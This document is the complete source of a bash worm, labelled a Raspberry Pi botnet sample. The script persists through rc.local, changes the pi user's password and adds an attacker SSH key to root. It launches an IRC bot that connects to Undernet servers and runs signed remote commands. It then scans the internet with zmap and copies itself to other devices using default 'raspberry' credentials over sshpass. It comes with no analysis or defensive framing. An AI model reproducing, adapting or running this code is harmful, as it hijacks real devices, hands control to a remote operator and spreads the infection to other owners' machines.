Raspberry Pi BOTNET sample

#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then
    NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    sudo cp $MYSELF /opt/$NEWMYSELF
    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    sleep 1
    sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

    arr[0]="ix1.undernet.org"
    arr[1]="ix2.undernet.org"
    arr[2]="Ashburn.Va.Us.UnderNet.org"
    arr[3]="Bucharest.RO.EU.Undernet.Org"
    arr[4]="Budapest.HU.EU.UnderNet.org"
    arr[5]="Chicago.IL.US.Undernet.org"
    rand=$[$RANDOM % 6]
    svr=${arr[$rand]}

    eval 'exec 3<>/dev/tcp/$svr/6667;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi

    echo $NICK

    eval 'printf "NICK $NICK\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
        continue
    fi

    # Main loop
    while [ true ]; do
        eval "read msg_in <&3;"

        if [[ ! "$?" -eq 0 ]] ; then
            break
        fi

        if  [[ "$msg_in" =~ "PING" ]] ; then
            printf "PONG %s\n" "${msg_in:5}";
            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
            sleep 1
            eval 'printf "JOIN #biret\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
        elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

            if [[ "$sign" == "$hash" ]] ; then
                CMD=`echo $privmsg_data | base64 -d -i`
                RES=`bash -c "$CMD" | base64 -w 0`
                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                if [[ ! "$?" -eq 0 ]] ; then
                    break
                fi
            fi
        fi
    done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
    sleep 10
done

fi